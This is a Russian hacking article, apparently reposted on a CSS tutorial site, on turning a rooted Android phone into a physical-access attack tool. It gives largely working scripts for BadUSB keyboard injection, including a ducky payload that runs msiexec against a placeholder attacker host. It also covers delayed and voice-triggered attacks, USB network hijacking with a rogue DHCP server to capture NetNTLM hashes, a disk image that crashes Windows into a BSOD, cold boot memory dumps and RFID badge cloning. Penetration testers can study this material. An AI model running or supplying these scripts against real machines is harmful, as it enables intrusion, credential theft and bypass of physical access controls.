Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
В статье «Киберфон. Превращаем телефон на Android в инструмент хакера» был показан простой и универсальный способ создания GNU-окружения — базы для хакерского инструментария. Мы рассмотрели принцип сборки драйверов прямо на устройстве, а также организовали взаимодействие Android с GNU. Затем я продемонстрировал часть хакерских возможностей современного смартфона. Это были самые опасные и распространенные векторы нападения с использованием радиоканала. Давай взглянем, на что способен телефон при непосредственном физическом доступе к атакуемому устройству.
Современные Android-устройства имеют из коробки богатую поддержку эмуляции USB. Например, при подключении к компьютеру телефон обычно спрашивает, как он может быть определен — как сетевое устройство, съемный диск или иначе. Все это эмуляция через так называемые USB-гаджеты. Ты можешь самостоятельно изучить, какие гаджеты уже реализованы в твоем текущем ядре, с помощью мобильного приложения USB Gadget Tool (net.tjado.usbgadget). Среди них наверняка есть поддержка гаджетов для всех возможных BadUSB-атак.
С телефона можно без труда имитировать клавиатуру и выполнить произвольные команды с помощью автоматического ввода — эта атака была описана в статье «Очень плохая флешка. Разбираем атаку BadUSB в деталях». Нам потребуется USB-функция hid.
, а следующими незамысловатыми командами атакующий может включить в телефоне спрятанные возможности эмуляции клавиатуры:
if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficat <<EE| sudo bashcd /sys/kernel/config/usb_gadget/g1/mkdir -p functions/hid.keyboardcd functions/hid.keyboard/echo 1 protocolecho 1 subclassecho 8 report_lengthecho -ne 'x05x01x09x06xa1x01x05x07x19xe0x29xe7x15x00x25x01x75x01x95x08x81x02x95x01x75x08x81x03x95x05x75x01x05x08x19x01x29x05x91x02x95x01x75x03x91x03x95x06x75x08x15x00x25x65x05x07x19x00x29x65x81x00xc0' report_desccd -ln -s functions/hid.keyboard configs/b.1/hid.keyboardecho "" UDCecho `ls -1 /sys/class/udc/ | head -1` UDCssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; doneEE
В результате телефон может стать USB-клавиатурой. Активирует нажатия клавиатуры такой скрипт:
[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')python2 ./ducky/duckhunter.py -l us "$ducky"/tmp/rubber_ducky.sh
cat/tmp/rubber_ducky.sh
PATH="$PATH:."bash /tmp/rubber_ducky.sh
rm/tmp/rubber_ducky.sh
В случае с телефоном атака BadUSB-hid может выглядеть даже менее подозрительно, чем с флешкой. Ведь если флешку вставит в комп далеко не каждый, то зарядить телефон можно почти у кого угодно.
Это отличный социальный вектор атаки. Забавно, но вопреки общему мнению получается, что телефоном взломать комп куда проще, чем компьютером взломать телефон.
Для незаметности злоумышленник может активировать атаку не сразу в момент подключения, а спустя какое‑то время:
sleep 60;badusb/hid/start.sh;badusb/hid/keystrokes.sh
У современного телефона множество датчиков, и триггером к атаке может стать что угодно — освещение, вибрация, движение телефона или даже голосовая команда:
while [~/android/listen.sh != "run" ]; do false; done;badusb/hid/keystrokes.sh ducky.txt
#!/bin/bash
ssh -i~/id_rsa-local -p8022 localhost "termux-speech-to-text"
Синтаксис ducky-скриптов полностью идентичен описанному в статье про BadUSB-флешку и про ее беспроводной аналог — Mousejack. Самое опасное, что может быть набрано на клавиатуре, — это, например, такой код:
GUI r
DELAY 500
STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 500
STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
Телефон злоумышленника покорно заряжается от компьютера жертвы, но, как только он услышит команду run, срабатывает атака, и компьютер оказывается скомпрометированным за секунду. Злоумышленник может даже удаленно инициировать атаку, подключившись к телефону по VPN, используя 4G и запустив сценарий keystrokes.
на телефоне.
Так как имитируется клавиатура, то через /
можно выполнять обычный интерактивный набор текста прямо на виртуальной клавиатуре телефона:
while read -n1 byte
dopython2 ducky/keyseed.py "$byte"| ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null
echo "$byte"| xxd | grep -q '1b' && breakdone
А через /
можно управлять и мышкой:
#!/usr/bin/python3
import curses
from os import system
def main(stdscr):
curses.curs_set(0)
curses.mousemask(1)
while True:
key = stdscr.getch()
if key == curses.KEY_MOUSE:
try:
_, x, y, _, _ = curses.getmouse()
system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y))
stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh()
except:
pass
elif key == ord("l"):
system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "left click "); stdscr.refresh()
elif key == ord("r"):
system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "right click"); stdscr.refresh()
elif key == 0x1b:
break
curses.wrapper(main)
Нажатия по консоли в псевдографическом режиме используются, чтобы передать движения курсора на компьютер.
Атаку BadUSB-ETH, позволяющую перехватить сетевой трафик (смотри статью «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH»), тоже можно провести с телефона. Для этого его нужно слегка настроить:
if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficd/sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -sfunctions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1/sys/class/udc/ | head -1` | sudo tee UDC
ssh -i~/id_rsa-local -p8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0sudo tcpdump -irndis0 -nn -c 1 # waiting a connectionsleep 1
read iface table <<< $(ip r show table all|grep default|grep -vdummy|cut -d ' ' -f 5,7)echo "forward to $iface($table)"sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97sudo ip rule add from all iif rndis0 lookup $tablesudo sysctl -wnet.ipv4.ip_forward=1
sudo iptables -t nat -Atetherctrl_nat_POSTROUTING -o $iface -s0.0.0.0/0 -d0.0.0.0/0 -jMASQUERADE
sudo iptables -Dtetherctrl_FORWARD -s0.0.0.0/0 -d0.0.0.0/0 -jDROP
sudo tcpdump -irndis0 -nn
В первом блоке скрипта активируется эмуляция сетевой карты по USB. Она, кстати, может уже присутствовать по умолчанию или быть доступна через обычные настройки телефона: «Настройки → Для разработчиков → Конфигурация USB по умолчанию: USB-модем».
Во втором блоке скрипта запускается кастомный DHCP-сервер, который перекрывает сетевые маршруты жертвы и направляет весь ее трафик в телефон атакующего.
Так как при подключении телефона ОС Android не в состоянии запустить свой DHCP-сервер, настройка интерфейса может прерваться. Поэтому нужно доконфигурировать его самостоятельно, и именно это делается в третьем блоке скрипта.
Скрипт должен быть запущен перед подключением телефона к заблокированному компьютеру, чтобы интерфейс rndis0
на телефоне правильно сконфигурировался. Если все сделано верно, то комп, к которому подключен телефон, также автоматически сконфигурирует уже свой сетевой интерфейс. Далее атакуемый компьютер отправляет весь свой трафик в телефон, в том числе и Wi-Fi, и Ethernet (если они есть). Ведь маршруты действующих сетевых интерфейсов оказались перекрыты USB-сетью.
Далее запускаются уже непосредственно все атаки:
GREEN=$'x1b[32m'RESET=$'x1b[39m'#~/gui.shfor script in $(find on_network/-type f -perm -u+x)doexec sudo $scriptrndis0 poisontap &
donewhile echo -n '.'doif [ $(arp -an | sed -rn 's/? (([^)]+)) .*[ether] on rndis0/1/p' | wc -l) -ne 0 ] thenbreakfisleep 1
donearp -an | sed -rn 's/? (([^)]+)) .*[ether] on rndis0/1/p' | while read ip
doecho $GREEN "client detected" $RESET for script in $(find on_client/-type f -perm -u+x) doexec sudo $script $ip ""192.168.42.1 &
donedone
В первом цикле запускаются атаки on_network, универсальные для всех клиентов. Во втором ожидается появление IP-адреса клиента (целевого устройства), а в третьем — запуск на него всех on_client-атак: чекеры уязвимостей, брутфорсеры, сбор данных и так далее. В этом случае, благодаря дисплею телефона, атакующий видит больше информации о ходе процесса.
Таким способом вполне реально стянуть NetNTLM-хеш. Если его сбрутить (что тоже достижимо), то удастся обойти блокировку устройства. Если это доменный комп, то такой хеш можно направить на LDAP контроллера домена и, изменив определенные свойства учетки, также обойти аутентификацию. Возможно, атакующему повезет и удастся сразу выполнить произвольный код через какую‑нибудь уязвимость или подобранный пароль, а затем активировать бэкдор. И все это только с помощью телефона!
Помимо устройств ввода (hid) и сетевых карт (eth), Android-телефон (вернее, ядро Linux) умеет эмулировать еще и носители данных — жесткие диски и CD-приводы.
BadUSB-HDD — это подвид BadUSB-атак, который заключается в возможности сымитировать загрузочное устройство при перезагрузке и выполнить там произвольный код. Однако возможность эмуляции диска может быть полезна и для других целей.
В качестве диска используется обычный файл‑образ. Его содержимое — это последовательность байтов. Все, что записано в файле, находится на диске. Следующий скрипт по выбору может имитировать такие заранее подготовленные диски:
[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): 'disk
[[ $# -ge 2 ]] && ro="$1"case "$disk" in0) disk='empty.img'; ro=0 ;; 1) disk='vuln_ntfs.img'; ro=1 ;; 2) disk='coldboot.img'; ro=0 ;; 3) disk='kali.img'; ro=0 ;;esacdisk="$(pwd)/$disk"if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficat <<EE| sudo bashcd /sys/kernel/config/usb_gadget/g1echo "$ro" functions/mass_storage.0/lun.0/roecho '1' functions/mass_storage.0/lun.0/removableecho "$disk" functions/mass_storage.0/lun.0/fileEEsleep 1
ssh -i~/id_rsa-local -p8022 lo "su - -c 'setprop sys.usb.config mass_storage,adb'"
Примечательно, что можно сымитировать и readonly-носители так, чтобы ОС или антивирус ничего не удалили. Останавливает эмуляцию диска следующий скрипт:
#!/bin/bash
if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; fi
cat <<EE| sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo '' > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i~/id_rsa-local -p8022 lo "su - -c 'setprop sys.usb.config none,adb'"
Каждый образ диска может использовать свой сценарий атаки, например:
empty.img
. При подключении эмулируется пустой диск. На него можно скопировать все, что угодно. Файл образа диска на телефоне можно зашифровать и таким образом спрятать похищенную информацию;vuln_ntfs.img
. Windows при подключении специальным образом поврежденной файловой системой может упасть в BSOD. Если перед злоумышленником некий информационный терминал, то это простой сценарий отказа в обслуживании. Если же перед ним заблокированный комп, на котором таким образом был вызван BSOD, значит, после этого он выйдет на перезагрузку, возможно — с сохраненными в RAM данными. И тут можно перейти к следующему сценарию;coldboot.img
. Метод, уже описанный в статье «Cold boot attack. Дампим оперативную память с помощью флешки». С телефона атакующий может сдампить оперативную память в файл этого же образа;kali.img
. Если перед атакующим комп, к которому у него имеется полный физический доступ, и ничего, кроме телефона, под рукой нет — он может эмулировать загрузочный диск Kali Linux (или чего‑то подобного), перезагрузиться с него и начать развитие дальнейших атак. Так злоумышленник обойдет и организационный контроль, ведь у него только телефон, и технический — антивирусы остались на другой ОС.На рисунке ниже показано, как подключенный к компьютеру по USB телефон эмулирует диск с поврежденной файловой системой, приводящей к BSOD.
Аварийно перезагруженный таким образом компьютер может уйти на перезагрузку с незатертыми данными в RAM. Телефон же в этот момент может эмулировать по USB другой диск — coldboot.
— и выполнить атаку Cold Boot.
Технологии RFID (125 кГц) и NFC (13,56 МГц) применяются повсеместно для бесконтактной идентификации и преодоления турникетов на заводах, входных дверей кабинетов, подъездов и так далее.
RFID и NFC легко спутать. На вид они слабо отличимы. Есть пара лайфхаков, позволяющих быстро понять, какой тип бесконтактной технологии перед вами. Современные телефоны снабжены NFC и не используют RFID, поэтому если твой телефон среагировал на поднесенную метку, значит, это NFC. Другой способ — визуальный, с использованием фонарика.
Если просвечивается круглая антенна — это обычно RFID, прямоугольная — NFC. Но возможны и частные случаи. Эти две технологии можно встретить примерно с равной вероятностью. Автоматизированные системы контроля и управления доступом в бизнес‑центрах и на предприятиях чаще работают на RFID, в то время как в гостиницах и отелях — почти всегда на NFC. Также карты оплаты, включая и банковские, работают на основе технологии NFC, но они используют немного иной принцип, поэтому рассматривать их не будем.
Обе технологии применяют бесконтактный метод коммуникации ближнего поля, когда RFID/NFC-чип включается и работает благодаря электромагнитной энергии на малых расстояниях (порядка нескольких сантиметров).
Атаки на RFID и NFC чаще всего связаны с бесконтактным клонированием и последующим повторным использованием. Атаку можно проводить в сочетании с устройством Proxmark. Для его работы требуется собрать драйвер:
CONFIG_USB_ACM=m
make modules M=drivers/usb/class
sudo modprobe cdc-acm
Также нужно собрать соответствующий инструмент с аналогичным именем:
git clone https://github.com/Proxmark/proxmark3
cd proxmark3;make
RFID — технология бесконтактной идентификации, по сути радиометка, чаще всего содержащая 5 байт. Эта технология никак не защищена от несанкционированного чтения и может быть без труда клонирована. RFID можно сравнить с QR-кодом, который легко сфотографировать и использовать повторно, с той лишь разницей, что здесь не оптический канал считывания, а радио-.
Для клонирования метки или, например, пропуска требуется прочитать и эмулировать данные:
./read.sh | while read tag
do echo "$tag" ./emulate.sh "$tag"done
|
|